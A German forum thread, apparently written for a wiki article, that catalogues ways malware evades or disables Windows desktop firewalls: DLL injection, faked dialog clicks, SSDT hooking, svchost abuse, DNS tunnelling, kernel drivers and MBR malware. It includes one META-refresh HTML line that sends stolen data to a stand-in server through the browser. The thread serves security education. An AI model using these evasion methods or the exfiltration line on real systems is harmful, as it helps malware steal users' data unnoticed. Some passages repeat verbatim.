Hallo. Für den Desktopfirewall-Beitrag aus dem HaBo-wiki brauche ich Deine Hilfe. Es wäre nett, wenn Du hier in kurzer Form die Möglichkeiten erklären könntest, die Dir bekannt sind, um eine Desktop Firewall zu umgehen oder außer Gefecht zu setzen. Der Grund ist, dass mir meine Projekte momentan ein wenig über den Kopf wachsen und ich das ohne Hilfe einfach nicht mehr schaffe. Und der Desktopfirewall-Beitrag liegt diesbezüglich schon viel zu lange auf Eis. Eine Liste mir bekannter Angriffsmethoden befindet sich bereits als leere Überschriftensammlung im Beitrag. Sie müssten nun langsam mit kleinen Beschreibungen gefüllt werden, was mit viel Arbeit verbunden ist. Es wäre also nett, wenn sich hier einige Leute finden, die mir durch ihre Beiträge dabei helfen können, den Artikel zu vervollständigen. Zudem denke ich, dass dies ein interessanter Diskussionsthread werden könnte^^
Nachdem wir die Themen hier besprochen haben, werde ich das im wiki-Beitrag einpflegen (natürlich kannst Du Deine Beiträge auch direkt dort eintragen - siehe den Link oben).
Please help.
Nachtrag: Es ist sinnvoll, jeden Beitrag einer der folgenden Sicherheitskategorien zuzuordnen, welche sich auf eine gebräuchliche HOME-Firewall beziehen (auch DLS-Router / -Firewall oder externe Firewall bzw. Hardwarefirewall für den Homebereich genannt). Ziel ist es, deren Möglichkeiten richtig einordnen zu können:
Zudem gibt es die folgenden Unterkategorien, welche die für die jeweilige Attacke benötigten Rechte darstellen:
Bei Attacken aus denen die Richtung der Netzwerkkommunikation nicht eindeutig hervorgeht, werden beide Kommunikationsrichtungen separat betrachtet, um deren Sicherheitskategorie festzulegen:
In Elderans Beiträgen wurden folgende Methoden benannt:
Genau wie bei allen anderen auf dem PC installierten Softwareprodukten auch, kann die Desktopfirewall fehlerhaft programmiert worden sein und somit ungewollt neue Angriffspunkte für den PC liefern. Da viele ihrer Komponenten mit erweiterten Rechten laufen (im so genannten Systemkontext) oder gar Kernelkomponenten installieren, wirken sich jedoch Programmier- und Designfehler hier besondern verheerend auf die Sicherheit und Stabilität des Systems aus.
Bye, nz
Nachdem wir die Themen hier besprochen haben, werde ich das im wiki-Beitrag einpflegen (natürlich kannst Du Deine Beiträge auch direkt dort eintragen - siehe den Link oben).
Please help.
Nachtrag: Es ist sinnvoll, jeden Beitrag einer der folgenden Sicherheitskategorien zuzuordnen, welche sich auf eine gebräuchliche HOME-Firewall beziehen (auch DLS-Router / -Firewall oder externe Firewall bzw. Hardwarefirewall für den Homebereich genannt). Ziel ist es, deren Möglichkeiten richtig einordnen zu können:
- Angriffsmethoden, welche auch eine externe Firewall nicht oder nur rudimentär unterbinden kann
- Angriffsmethoden, bei der eine externe Firewall dabei hilft, den Schaden zu begrenzen
- Angriffsmethoden, welche sich durch eine externe Firewall verhindern oder deutlich erschweren ließen
Zudem gibt es die folgenden Unterkategorien, welche die für die jeweilige Attacke benötigten Rechte darstellen:
- Die Malware benötigt Administratorrechte, um die Attacke ausführen zu können. Dies ist natürlich dann gegeben, wenn der Anwender unter einem Administratoraccount arbeitet, während er die Malware unbemerkt startet (oftmals über Autostartmechanismen). Hierbei ist jedoch zu beachten, dass es durchaus genügen kann, wenn die Malware nur ein einziges Mal unter einem Administratoraccount gestartet wurde. Genau wie unter UNIX gibt es auch unter Windows zahlreiche Möglichkeiten, dem Programm von nun ab immer Administratorrechte zu geben (also vollkommen unabhängig von den Rechten der nachfolgenden Anwender => einmal Admin, immer Admin; auch nach jedem Neustart des Rechners).
Hinweis: In einigen Fällen kann sich die Malware auch Administrationsrechte verschaffen, obwohl sie niemals von einem Administrator aufgerufen wurde. Das ist allerdings nur möglich, wenn das System einen veralteten Stand aufweißt und die Malware so eine bekannte und ungeschlossene Sicherheitslücke des Systems ausnutzen kann.
Zudem sollte man wissen, dass sämtliche Kennungen unter Windows 3.x, 9x, ME und XP Home (nicht XP Professional) mit Administratorrechten laufen. Hier gibt es also keinen kennungsbezogenen Schutz gegen die Attacke der Malware.
- Eine normale (unprivilegierte) Benutzerkennung genügt, um die Attacke ausführen zu können.
- Abhängig von der Desktopfirewall funktioniert die Attacke bei einigen Herstellern nur mit Administratorrechten, währenddessen bei anderen Herstellern die Attacke unter jeder Benutzerkennung funktioniert.
Bei Attacken aus denen die Richtung der Netzwerkkommunikation nicht eindeutig hervorgeht, werden beide Kommunikationsrichtungen separat betrachtet, um deren Sicherheitskategorie festzulegen:
K1 (PC->Internet): Die Malware baut eine Verbindung vom PC zum Internetserver auf. Sie könnte sich z.B. an einen IRC-Server binden, um ihre Anweisungen zu empfangen.
K2 (Internet->PC): Die Malware bindet sich an einem Port des PCs und wartet auf eine Anfrage aus dem Internet, die an diesen Port gerichtet ist. Ein Rechner aus dem Internet muss also die Verbindung zum PC herstellen, um auf die Malware zugreifen zu können.
------------------------------------------------------------------------------------------------------------------
Hinweis vorab: Einige Leser könnten einzig auf Grund der aufgelisteten Umgehungsmöglichkeiten vorschnell zu den Schluss kommen, dass es keinen Sinn ergibt, eine Desktopfirewall einzusetzen. Aus diesem Grund möchte ich an auf den folgenden Artikel hinweisen: Ob und wann der Einsatz einer Desktopfirewall sinnvoll ist.------------------------------------------------------------------------------------------------------------------
Zusammenfassung der bisherigen Beiträge (Stand 27.09.2005):
Ziel ist es, die Applikationszugriffskontrolle einer Desktopfirewall zu unterwandern.
In Elderans Beiträgen wurden folgende Methoden benannt:
- Manchmal ist es möglich, die Applikationszugriffskontrolle einer Desktopfirewall durch das unsanfte Beenden des Moduls einfach auszuhebeln. Die Malware könnte auch den Aufruf des Moduls aus der Registry löschen bzw. durch ähnlich aussehende Programme ersetzen. Zudem lässt sich manchmal das User-Frontends mit dem Dateinamen eines entsprechend präparierten Programms überschreiben.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1C / in Ausnahmefällen auch zur Sicherheitskategorie 2C (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Die Verwendung von Fensternachrichten stellt unter Windows ein Problem für Desktopfirewalls dar. Öffnet die Firewall z.B. einen Dialog, um den Anwender zu fragen, ob eine Applikation auf das Netz zugreifen darf oder nicht, so erzeugt der Klick mit der Maus auf die OK-Taste eine Fensternachricht, welche die Firewallapplikation davon in Kenntnis setzt, das der Anwender genau diese Taste betätigt hat. Das Problem: Die Nachricht kann jedes Programm an den Dialog der Firewallapplikation schicken, ohne dass die Firewallapplikation feststellen kann, ob die Nachricht tatsächlich vom Anwender oder einer Fremdapplikation stammt. Eine Malware kann sich auf diese Weise also selbst die Berechtigung zum Netzwerkzugriff erteilen, noch ehe der Anwender interagieren kann. Der Anwender sieht lediglich ein kurzes Aufflackern des Firewalldialoges, was in der Regel aber derart schnell vonstatten geht, dass der Anwender das nicht als Attacke erkennt.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Die Fensternachrichten können auch dazu verwendet werden, um einen PC per Internetbrowser komplett fernzusteuern. Ein Beispiel dafür liefert die ?wwwsh?, welche beim Chaos Seminar des CCC Ulm vorgestellt wurde. Als Kommunikationsinterface lässt sich hier das URL-Fenster verwenden, worin die Malware alle Serveranfragen hineinschreibt und dem Server dadurch Daten übermitteln kann. Als Antwort veranlasst der Server, dass der Browser automatisch auf eine andere URL geleitet wird, wodurch sich die URL-Zeile des Browsers verändert. Die veränderte ?Antwort?-Zeile liest die Malware wieder aus und erhält so ihre Anweisungen. Es gibt mehrere Methoden, das Browserfenster zu verstecken, sodass der Anwender keinen Hinweis auf die versteckte Kommunikation erhält. Und wenn der Anwender dem Browser die Erlaubnis erteilt hat, ungefragt mit dem Internet zu kommunizieren, geht diese Kommunikation natürlich durch die Desktopfirewall hindurch.
Diese Methode gehört zur Sicherheitskategorie 1B
- Der Prozess versteht es, sich aus der Prozessliste des Systems auszuklinken. Die Desktopfirewall sieht den Prozess also nicht. Da die Applikationszugriffskontrolle auf einer Prozesskontrolle basiert, geht im ungünstigsten Fall der Netzwerkzugriff an diesem Feature vorbei ? also ohne dass die Desktopfirewall einen Regelverstoß erkennt.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Indem die System Service Dispatch Table modifiziert wird, lässt sich verhindern, dass die Desktopfirewall vom System benachrichtigt wird, wenn ein Netzwerkzugriff erfolgt. Die Malware gaukelt der Desktopfirewall also vor, dass keine Netzaktivität besteht, was zur Folge hat, dass sie den unerlaubten Zugriff nicht bemerkt.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Als Entscheidungshilfe gibt die Desktopfirewall scheinbar nützliche Informationen zu dem Programm aus, welches gerade versucht, eine Verbindung zum Netzwerk herzustellen. Was viele Anwender nicht wissen, nutzt die Malware schamlos aus: Die Firewall hat gar nicht die Möglichkeit herauszufinden, ob es wirklich das ?Windows Subsystem?, der ?Spoolerdienst? oder die nette ?Malware von nebenan? ist, die auf das Netz zugreifen möchte. Sie vertraut einfach den Informationen, welche sie von der anfragenden Applikation erhält. Die Malware kann sich also frech als ?Internetexplorer? ausgeben oder von sich behaupten, das ?Windows Subsystem? oder ein ähnlich wichtig klingendes Instrument des Betriebsystems zu sein. Viele Anwender erlauben der Applikation daraufhin den Netzwerkzugriff.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Die Zugriffsregeln der Desktopfirewall können im ungünstigsten Fall einfach von der Malware überschrieben werden. So ändert sie die Einstellungen dahingehend, dass sie eine Verbindung ins Netz aufbauen darf.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1C / in Ausnahmefällen auch zur Sicherheitskategorie 2C (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Die Entwickler von Desktopfirewalls lernen von den Tricks diverser Malware. So fangen einige der Firewalls Systemfunktionen ab, die verwendet werden, um eine Applikation aus einer anderen Applikation heraus zu starten. So können sie erkennen, wenn z.B. der Standardbrowser nicht von dem Anwender, sondern aus einer Fremdapplikation heraus gestartet wurde, um eine Verbindung mit dem Internet zu erhalten (ein Verfahren, welches sich u.a. tag-Trojaner zueigen machen). Per Dialog kann der Anwender dies nun erlauben oder verbieten. Diese Technik soll jedoch zwischen dem Aufruf durch eine Fremdapplikation und dem ?händischen? Aufruf durch den Anwender unterscheiden, da letzteres ja erlaubt ist und daher keine Warnung erzeugen soll. Genau das kann sich die Malware zunutze machen, um diese Barriere zu umgehen. So erzeugt sie z.B. nacheinander folgende Systemnachrichten:
- Drücken von [Windows-Taste]+[r] zum Öffnen des "Ausführen"-Dialogs
- maschinelle Eingabe des aufzurufenden Programmnamens + [Enter]-Taste
Für die Firewallsoftware erscheint der Programmaufruf so, als ob der Anwender ihn von Hand gestartet hätte. Sie erkennt darin keinen Regelverstoß und lässt den Aufruf ohne Warnung zu. Der Anwender sieht lediglich ein sehr kurzes Aufklappen des Run-Dialogs von Windows.
Diese Methode gehört zur Sicherheitskategorie 1B
- Ein Plugin-Trojaner kann jederzeit eigene Verbindungen zu seinem Internetserver aufbauen, sobald der Browser gestartet wurde. Da die Verbindungsanforderung aus dem Browserprogramm heraus erfolgt, nachdem der Anwender die Netzwerkkommunikation durch die Firewall hindurch erlaubt hat, passiert auch die geheime Verbindung unbemerkt die Firewall. Diese Kommunikation lässt sich leicht vor den Augen des Anwenders verbergen.
Diese Methode gehört zur Sicherheitskategorie 1B.
- Des Weiteren kann eine Malware die Netzwerkpakete einer bestehenden Verbindung um Informationen erweitern und erweiterte Informationen auswerten. So ist ein unbemerkter Informationsaustausch mit dem Kommunikationspartner möglich, der an die Firewall vorbeigeht. Dadurch lässt sich die Malware auch durchaus fernsteuern. Der Clou ist, dass die Malware dazu keine eigene Verbindung zum Internetserver aufbauen muss, was ja bereits auffallen könnte. Sie nutzt vielmehr die bestehende Verbindung, welche sie manipuliert. Allerdings ist das auch der große Nachteil dieser oft zitierten Attacke: Die Malware ist darauf angewiesen, dass der Anwender von sich aus eine Verbindung zu genau diesem Kommunikationspartner aufbaut, damit sie aktiv werden kann.
Diese Methode gehört zur Sicherheitskategorie 1B.
- Einige Desktopfirewalls interpretieren die DNS-Anfrage einer Applikation nicht als Netzwerkzugriff, welcher zuvor von dem Anwender erlaubt werden muss. In solchen Fällen kann die Malware auch einen DNS-Tunnel dazu verwenden, um an der Firewall vorbei mit dem Netzwerk zu kommunizieren. Das Tunneln aller anderen Protokolle hingegen hat für sich noch lange keinen Einfluss auf die Funktionstüchtigkeit der Applikationszugriffskontrolle einer Desktopfirewall. Diese muss durch die Malware also noch separat ausgehebelt werden, damit die geheime Netzwerkkommunikation der Desktopfirewall nicht auffällt.
Diese Methode gehört zur Sicherheitskategorie 1B
- Eine andere Methode ist es, über dll-Injektion innerhalb eines laufenden Prozesses einen eigenen Thread zu starten. Der Thread läuft sinnbildlich wie ein eigenes Programm im Adressraum des injizierten Prozesses. Die Malware kann so einen Prozess auswählen, der auf das Netz zugreifen darf und unter dem Deckmantel des Prozesses ebenfalls auf das Netz zugreifen. Der Clou: Die Programmdatei des Prozesses wird dabei nicht verändert, sodass ein simpler Quersummencheck noch lange keinen Hinweis auf eine Injektion liefert. Das erscheint logisch, denn der Thread wird durch die Malware immer erst dann injiziert, nachdem der Prozess bereits gestartet wurde. Diesen Job erledigt ein zweiter Prozess, welcher unauffällig im Hintergrund läuft, oder aber ein eigens dafür erzeugter Thread, den der Malwareprozess vorzugsweise in einen Systemdienst injiziert, bevor sich die Malware wieder beendet. So läuft die Malware kaum Gefahr, entdeckt zu werden.
Diese Methode gehört zur Sicherheitskategorie 1B / wenn der zu injizierende Prozess jedoch nicht dem Benutzer gehört zur Sicherheitskategorie 1A.
- Einige Desktopfirewalls versuchen die dll-Injektion anhand von bestimmten Funktionsaufrufen zu erkennen (z.B. OpenProcess, VirtuallAllocEx, WriteProcessMemory, CreateRemoteThread, etc.). Dazu wird die passende API gehookt und somit auf die eigene Funktion gelenkt, welche eine höchst eigene Zugriffskontrolle realisiert und bei einem Regelverstoß Alarm auslöst und die Injektion unterbindet. Die Malware kann sich der Kontrolle entziehen, wenn sie die originalen Funktionsadressen direkt anspringt. Dadurch wird die umgeleitete Funktion der Desktopfirewall nicht aufgerufen, weshalb der Zugriff nicht bemerkt wird. Für die Malware wirkt sich diese Methode allerdings Nachteilig aus, wenn sich durch ein Servicepack die System-dll der verwendeten APIs und damit die ersehnte Einsprungadresse ändert.
Diese Methode gehört zur Sicherheitskategorie 1B.
- dll-Injektion lässt sich auch durch das Verändern der Programmdatei realisieren. Der Vorteil für die Malware ist, dass es keinen zweiten Prozess bedarf, der die Programmdatei erst dann mit der dll injiziert, wenn das Programm bereits läuft. Auch werden die ggf. überwachten API-Funktionen der indirekten dll-Injektion nicht mehr benötigt. Der Nachteil ist, dass die Veränderung der Programmdatei auffällig ist und nicht nur viele Desktopfirewalls, sondern auch verschiedene Virenscanner auf das Verändern von exe-Code allarmierend reagieren.
Diese Methode gehört zur Sicherheitskategorie 1B / wenn der Anwender jedoch kein Schreibrecht auf die anzupassende Programmdatei hat, gehört die Methode zur Sicherheitskategorie 1A.
- Natürlich lässt sich auch durch den Austausch einer von dem Programm beanspruchten dll eine Injektion des eigenen Malware-Threads realisieren.
Diese Methode gehört zur Sicherheitskategorie 1B / wenn der Anwender jedoch kein Schreibrecht auf die dll-Datei hat, gehört die Methode zur Sicherheitskategorie 1A.
- Unter Windows lässt sich eine dll-Injektion auch durch die simple Änderung eines Registryeintrags realisieren, welcher bewirkt, dass bei jedem Start einer Applikation auch eine bestimmte dll in deren Prozessraum geladen wird.
Diese Methode gehört zur Sicherheitskategorie 1A.
- Eine Desktopfirewall kann 16-Bit Anwendungen nicht voneinander unterscheiden, wenn diese in einer virtuellen (DOS-) Umgebung ablaufen (ntvdm). Das gilt somit für jede 16-Bit Anwendung, wenn sie unter NT, w2k, XP oder neuer gestartet wird. Gibt man also eine dieser Anwendungen für den Netzwerkzugriff frei, so können auch alle anderen 16-Bit Programme ungehindert auf das Netzwerk zugreifen.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Vor einem ähnlichen Problem steht die Desktopfirewall mit dem svchost-Prozess. Er realisiert eine ?generische Dienstgruppierung?, was im Klartext bedeutet, dass innerhalb eines svchost-Prozesses mehrere Dienste ablaufen. Das wird aus Performancegründen so realisiert, da das System dadurch nicht mehr zwischen unnötig vielen Prozessen wechseln muss. Es kann mehrere svchost-Prozesse geben. Welche Dienste unter welchem svchost-Prozess zusammengefasst werden, lässt sich frei konfigurieren. Eine Malware kann sich über diesen Weg dort ebenfalls ganz legal einklinken. Die Desktopfirewall sieht so die Malware nicht, da sie kein eigener Prozess ist (sie stellt lediglich einen weiteren Thread der jeweiligen svchost.exe dar). Wurde dem betreffenden svchost-Prozess bereits die Kommunikation mit dem Netz gestattet, so kann nun auch die Malware ungehindert mit dem Netzwerk kommunizieren.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Ein weiteres, unfreiwilliges TOR zur Welt stellen die meisten Anonymisierungsdienste dar. Diese werden im Internetbrowser in der Regel als lokaler Proxy eingetragen. Das bedeutet, dass ein Proxyprogramm auf dem eigenen Rechner läuft und dort an einem lokalen Port auf die Anfragen des Internetexplorers wartet. Diese Anfragen schickt das Programm dann weiter in das Internet. Sinn des Programms ist es, persönliche Daten herauszufiltern, welche der Browser ohne den Proxy ins Netz übertragen würde. Der Proxy kann die Anfrage auch an einen (ggf. dynamisch ermittelten) Proxyserver aus dem Internet schicken, um die eigene Absender-IP-Adresse gegenüber dem Ziel zu verbergen. Wird ein vollwertiger Anonymisierungsdienst verwendet, dann verschlüsselt der lokale Proxy sogar alle zu übertragenen Daten und schickt diese zu einem Partnerserver bzw. einem Serververband ins Netz, der die Daten entschlüsselt und zum Ziel geleitet. So kennt nicht einmal der Internetprovider das Ziel, geschweige denn den Inhalt der Datenpakete.
Was für die Anonymität gut ist, stellt für die Desktopfirewall ein großes Problem dar. Die Netzwerkkommunikation wird über einen zentralen Prozess geleitet: Den lokalen Proxy. Die meisten Programme übernehmen nun einfach die Proxyeinstellungen des Standardbrowsers, bevor sie mit dem Internet kommunizieren. Hat der Proxy das Recht erhalten, auf das Netzwerk zuzugreifen, dann wurde damit unbewusst die Internetverbindung für alle Programme erlaubt, welche die Browsereinstellung für sich adoptiert haben.
Diese Methode gehört zur Sicherheitskategorie 1B
- Das Programm, welches auf das Netzwerk zugreifen darf, kann durch die Malware infiziert oder gar ausgetauscht werden. Leider gibt es noch immer einige Desktopfirewalls, die eine solche Attacke nicht erkennen.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B (Schreibrecht auf das Programm vorausgesetzt, sonst 1A) / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Die Malware erhascht zunächst z.B. Passworte oder andere, bis dato geheime Daten. Dann erstellt sie eine lokale html-Datei, welche z.B. die folgende Zeile enthält:
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://server.xyz/seite.html?Deine0x-beliebigen0persönlichen00Daten>
Nun wird die lokale html-Datei mit dem Standardbrowser geöffnet. Das Problem: Der Standardbrowser hat zu einer hohen Wahrscheinlichkeit bereits durch den Anwender das Recht erhalten, ungefragt auf das Internet zugreifen zu dürfen. Arbeitet der Browser die Seite ab und gelangt auf die obige Zeile, so kontaktiert er den dort angegebenen Server und übermittelt ihm so die Daten.
Um nicht aufzufallen, kann die Internetseite einen harmlosen Text ausgeben oder sogar versteckt gestartet werden, so dass der Anwender den Zugriff nicht bemerkt. Die Firewall kann den Zugriff nicht verhindern, da der Anwender es zuvor irgendwann einmal gestattet hat, dass der Internetbrowser auf das Internet zuzugreifen darf. Sie macht tatsächlich alles richtig und befolgt lediglich die Regeln des Anwenders.
Diese Methode gehört zur Sicherheitskategorie 1B.
- Firewalls sind auf vorgefertigte Systemroutinen angewiesen, wie sie z.B. in der winsock.dll bzw. w32sock.dll zu finden sind. Sie werden u.a. benötigt, um auf den TCP/IP-Stack überwachend zugreifen zu können. Es gibt Malware, welche einfach die relevanten dll?s durch eigene Versionen ersetzen, um die Firewall an ihrer Arbeit zu hindern.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Eine Malware die im Kernelspace operiert, kann die Applikationszugriffskontrolle einer Desktopfirewall nicht erkennen. Der Grund ist einfach: Die Malware stellt hierbei keinen Prozess dar, sondern einen Thread aus dem Kernelspace.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Es ist auch möglich über angepasste Geräte- oder Filtertreiber eine Kommunikation mit dem Netz aufzubauen, ohne dass sich eine Applikation sichtbar an einen Port bindet. Bildlich gesehen wird ein Bypass für die Netzwerkkommunikation verwendet, was dazu führt, das die Applikationszugriffskontrolle der Desktopfirewall nicht erkennen kann, wer die Pakete sendet oder empfängt. Zudem kann der Kernelthread des (Filter-) Treibers verhindern, dass die Firewall etwas von dem Datentransfer erfährt.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Ähnlich wie bei einem Bootsektorvirus kann sich eine Malware in den MBR schreiben. So wird sie geladen, noch bevor das Betriebssystem gestartet wird. Auch hier ist es ihr möglich, unbemerkt auf das Netzwerk zuzugreifen. Ob und wie sich die Malware parallel zum geladenen Betriebssystem halten kann, hängt davon ab, welches Betriebssystem verwendet wird. Diese Aufgabe ist allerdings nicht ganz trivial. Natürlich wird kaum jemand den Aufwand betreiben, nur um eine Desktopfirewall zu umgehen. Allerdings gibt es solche Ansätze, um Passworte für verschlüsselte Partitionen zu tracen, welche von dem Verschlüsselungsprogramm noch vor dem Start des Betriebssystems abgefragt werden. Es ist wichtig zu wissen, dass eine solche Malware auch in der Lage ist, die geraubten Informationen über das Netz zu übertragen, ohne dass die installierte Desktopfirewall das verhindern kann.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1 / in Ausnahmefällen auch zur Sicherheitskategorie 2 (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Eine virtuelle Netzwerkkarte (IP-Aliasing) schafft einen eigenen TCP/IP-Stack, der im ungünstigsten Fall einfach an der Desktopfirewall vorbei sendet. Vor allem ältere Desktopfirewalls, die nur eine einzige Netzwerkkarte verwalten können, lassen sich dadurch umgehen. Aber auch einige neue Modelle haben damit Probleme, wenn die virtuelle Netzwerkkarte nicht schon beim Start der Firewallsoftware vorhanden ist.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
Das Firewallmodul einer Desktopfirewall umgehen (IP-Sperrlisten, Port- und Protokollregeln Außerkraftsetzen):
- Der IP-Filter einer Desktopfirewall lässt sich bei einigen Modellen durch eine übermäßige Fragmentierung der Nutzdaten umgehen. Dank einer Tiny- bzw. Overlapping-Fragment-Attack kann es somit gelingen, mit einer vermeintlich gesperrten IP-Adresse Zugriff auf einen freigegebenen Dienst des Rechners zu erlangen.
Diese Methode gehört zur Sicherheitskategorie 1
- Eine virtuelle Netzwerkkarte (IP-Aliasing) schafft einen eigenen TCP/IP-Stack, der im ungünstigsten Fall einfach an der Desktopfirewall vorbei sendet. Vor allem ältere Desktopfirewalls, die nur eine einzige Netzwerkkarte verwalten können, lassen sich dadurch umgehen. Aber auch einige neue Modelle haben damit Probleme, wenn die virtuelle Netzwerkkarte nicht schon beim Start der Firewallsoftware vorhanden ist.
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
- Genau wie bei externen Firewall ist es auch bei Desktopfirewalls möglich, die Portregeln indirekt durch das Tunneln erlaubter Protokolle zu umgehen.
Diese Methode gehört zur Sicherheitskategorie 1B
- Manchmal ist es möglich, die Desktopfirewall und damit die Portregeln durch unsanftes Beenden einfach auszuhebeln. Die Malware könnte auch den Aufruf des Firewallmoduls aus der Registry löschen bzw. durch ähnlich aussehende Programme ersetzen. Zudem lässt sich manchmal das User-Frontends mit dem Dateinamen eines entsprechend präparierten Programms überschreiben. Auch ist es bei einigen Desktopfirewalls möglich, die Portregeln durch die Malware direkt zu manipulieren.
Alle Methoden zur direkten Umgehung von Portregeln einer Desktopfirewall (nicht Tunneln) gehören zur Sicherheitskategorie 2C
Den ??Stealth Mode? umgehen:
- Viele Desktopfirewalls bieten eine art Tarnkappe für den PC an, genannt ?Stealth Mode?, welche bewirkt, dass der PC auf keinerlei Anfragen aus dem Netz reagiert. Der PC soll sich dadurch im Netz so verhalten, als wäre er nicht anwesend. Das Konzept klingt einleuchtend: Was ein Angreifer nicht sieht, kann er nicht angreifen. Nur ist das nicht ganz richtig. Denn wird eine IP-Adresse per ping angesprochen und ist die IP-Adressen ungültig bzw. der PC nicht eingeschaltet, so erhält der Angreifer normalerweise eine entsprechende Nachricht von der zuständigen Netzwerkkomponente (dem Router). Die Desktopfirewall hingegen beantwortet den ping-request einfach nicht. Keine Antwort ist in diesem Fall also auch eine Antwort: Auf diese Weise signalisiert die Desktopfirewall dem Angreifer, dass es sich um eine gültige IP-Adresse eines Rechners handelt, auf dem eine Desktopfirewall installiert wurde.
LAN (Angriff aus dem internen Netz heraus): Diese Methode gehört zur Sicherheitskategorie 1
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 3 (der PC ist durch PAT der externen Firewall ohnehin für die Aussenwelt nicht sichtbar)
Sicherheitslücken die durch eine Desktopfirewall überhaupt erst entstehen:
- Es gibt Desktopfirewalls, die nachweislich eigene Verbindungen zu ihren Internetservern herstellen. Das geschieht natürlich ohne dass sie selbst darauf hinweisen. Hier geht die Kommunikation also nicht einfach nur an die Desktopfirewall vorbei, sondern wird sogar noch von ihr initiiert. Selbst wenn laut Herstellerangaben lediglich Daten für statistische Zwecke übermittelt werden, bleibt das eine höchst fragwürdige Aktion. Denn oftmals wird die Desktopfirewall installiert, weil man solche ungewollten Zugriffe verhindern möchte. Wenn es sich um "closed source"-Produkte handelt, kann man zudem nicht wirklich sicher sein, welche Daten tatsächlich übermittelt wurden und ob es nicht noch andere, geheime Funktionalitäten gibt, die der Anwender nicht wissen soll^^
K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1 / in Ausnahmefällen auch zur Sicherheitskategorie 2 (siehe hier)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (die Kommunikation kommt nicht zustande, solange der Port von der externen Firewall nicht auf den PC geleitet wird)
